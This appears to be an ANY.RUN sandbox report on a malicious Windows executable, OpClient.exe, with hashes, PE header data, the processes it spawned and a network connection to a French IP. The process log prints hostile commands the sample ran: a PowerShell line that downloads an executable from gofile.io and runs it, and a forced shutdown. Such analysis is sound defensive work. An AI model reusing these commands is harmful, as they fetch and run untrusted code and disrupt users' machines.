File name: | OpClient.exe |
Full analysis: | https://app.any.run/tasks/f2bf586f-dceb-4623-b737-d4db2739e70d |
Verdict: | Malicious activity |
Analysis date: | June 16, 2019, 15:19:23 |
OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
Indicators: | |
MIME: | application/x-dosexec |
File info: | PE32 executable (console) Intel 80386, for MS Windows |
MD5: | 42B996272EAC7296A3366553C6C5D3E3 |
SHA1: | EAAA7FC4FE0061C415EF6C20FEA783A6640973A0 |
SHA256: | AD086A6AD9A1BD8778C3FDB33248AC2FDD8E7E3BC48F15056B20562058ECF6B6 |
SSDEEP: | 384:tmgBNi740T+QRu387A0j6kwe7hAvJVnrjk6+S76ses/P:ttNW4HcNjvw0hAvTnB76xs/ |
.exe | | | Win64 Executable (generic) (64.6) |
---|---|---|
.dll | | | Win32 Dynamic Link Library (generic) (15.4) |
.exe | | | Win32 Executable (generic) (10.5) |
.exe | | | Generic Win/DOS Executable (4.6) |
.exe | | | DOS Executable Generic (4.6) |
MachineType: | Intel 386 or later, and compatibles |
---|---|
TimeStamp: | 2019:06:16 12:31:05+02:00 |
PEType: | PE32 |
LinkerVersion: | 14.2 |
CodeSize: | 7680 |
InitializedDataSize: | 8704 |
UninitializedDataSize: | - |
EntryPoint: | 0x2165 |
OSVersion: | 6 |
ImageVersion: | - |
SubsystemVersion: | 6 |
Subsystem: | Windows command line |
Architecture: | IMAGE_FILE_MACHINE_I386 |
---|---|
Subsystem: | IMAGE_SUBSYSTEM_WINDOWS_CUI |
Compilation Date: | 16-Jun-2019 10:31:05 |
Detected languages: |
|
Debug artifacts: |
|
Magic number: | MZ |
---|---|
Bytes on last page of file: | 0x0090 |
Pages in file: | 0x0003 |
Relocations: | 0x0000 |
Size of header: | 0x0004 |
Min extra paragraphs: | 0x0000 |
Max extra paragraphs: | 0xFFFF |
Initial SS value: | 0x0000 |
Initial SP value: | 0x00B8 |
Checksum: | 0x0000 |
Initial IP value: | 0x0000 |
Initial CS value: | 0x0000 |
Overlay number: | 0x0000 |
OEM identifier: | 0x0000 |
OEM information: | 0x0000 |
Address of NE header: | 0x000000F8 |
Signature: | PE |
---|---|
Machine: | IMAGE_FILE_MACHINE_I386 |
Number of sections: | 5 |
Time date stamp: | 16-Jun-2019 10:31:05 |
Pointer to Symbol Table: | 0x00000000 |
Number of symbols: | 0 |
Size of Optional Header: | 0x00E0 |
Characteristics: |
|
Name | Virtual Address | Virtual Size | Raw Size | Charateristics | Entropy |
---|---|---|---|---|---|
.text | 0x00001000 | 0x00001DEB | 0x00001E00 | IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ | 6.33404 |
.rdata | 0x00003000 | 0x00001506 | 0x00001600 | IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ | 4.66211 |
.data | 0x00005000 | 0x00000424 | 0x00000200 | IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE | 2.101 |
.rsrc | 0x00006000 | 0x000001E0 | 0x00000200 | IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ | 4.6976 |
.reloc | 0x00007000 | 0x000002FC | 0x00000400 | IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ | 5.47602 |
Title | Entropy | Size | Codepage | Language | Type |
---|---|---|---|---|---|
1 | 4.91161 | 381 | UNKNOWN | English - United States | RT_MANIFEST |
KERNEL32.dll |
MSVCP140.dll |
USER32.dll |
VCRUNTIME140.dll |
WS2_32.dll |
api-ms-win-crt-heap-l1-1-0.dll |
api-ms-win-crt-locale-l1-1-0.dll |
api-ms-win-crt-math-l1-1-0.dll |
api-ms-win-crt-runtime-l1-1-0.dll |
api-ms-win-crt-stdio-l1-1-0.dll |
PID | CMD | Path | Indicators | Parent process |
---|---|---|---|---|
3384 | "C:\Users\admin\AppData\Local\Temp\OpClient.exe" | C:\Users\admin\AppData\Local\Temp\OpClient.exe | explorer.exe | |
User: admin Integrity Level: MEDIUM Exit code: 1073807364 | ||||
2600 | C:\Windows\system32\cmd.exe /c kk | C:\Windows\system32\cmd.exe | — | OpClient.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 1 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) | ||||
680 | C:\Windows\system32\cmd.exe /c ipconfig | C:\Windows\system32\cmd.exe | — | OpClient.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) | ||||
3332 | ipconfig | C:\Windows\system32\ipconfig.exe | — | cmd.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: IP Configuration Utility Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) | ||||
1532 | C:\Windows\system32\cmd.exe /c powershell -Command "Invoke-WebRequest https://srv-file5.gofile.io/download/D052zu/ChilledWindows.exe -OutFile lol.exe" & lol.exe & del lol.exe | C:\Windows\system32\cmd.exe | — | OpClient.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) | ||||
2484 | powershell -Command "Invoke-WebRequest https://srv-file5.gofile.io/download/D052zu/ChilledWindows.exe -OutFile lol.exe" | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | — | cmd.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 1 Version: 6.1.7600.16385 (win7_rtm.090713-1255) | ||||
1512 | C:\Windows\system32\cmd.exe /c shutdown -p | C:\Windows\system32\cmd.exe | — | OpClient.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) | ||||
2056 | shutdown -p | C:\Windows\system32\shutdown.exe | — | cmd.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Shutdown and Annotation Tool Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) |
PID | Process | Filename | Type | |
---|---|---|---|---|
2484 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\5N1C5YF0C940A7C915M6.temp | — | |
MD5:— | SHA256:— | |||
2484 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms | binary | |
MD5:131DC75F6D4142CA9244945A91A71E8D | SHA256:F17C463C77B5DA9E795770A82E0A7FB1023023F44397F6E080721E9811B2A0C4 | |||
2484 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF12796e.TMP | binary | |
MD5:131DC75F6D4142CA9244945A91A71E8D | SHA256:F17C463C77B5DA9E795770A82E0A7FB1023023F44397F6E080721E9811B2A0C4 |
PID | Process | IP | Domain | ASN | CN | Reputation |
---|---|---|---|---|---|---|
3384 | OpClient.exe | 77.135.115.209:25565 | — | SFR | FR | unknown |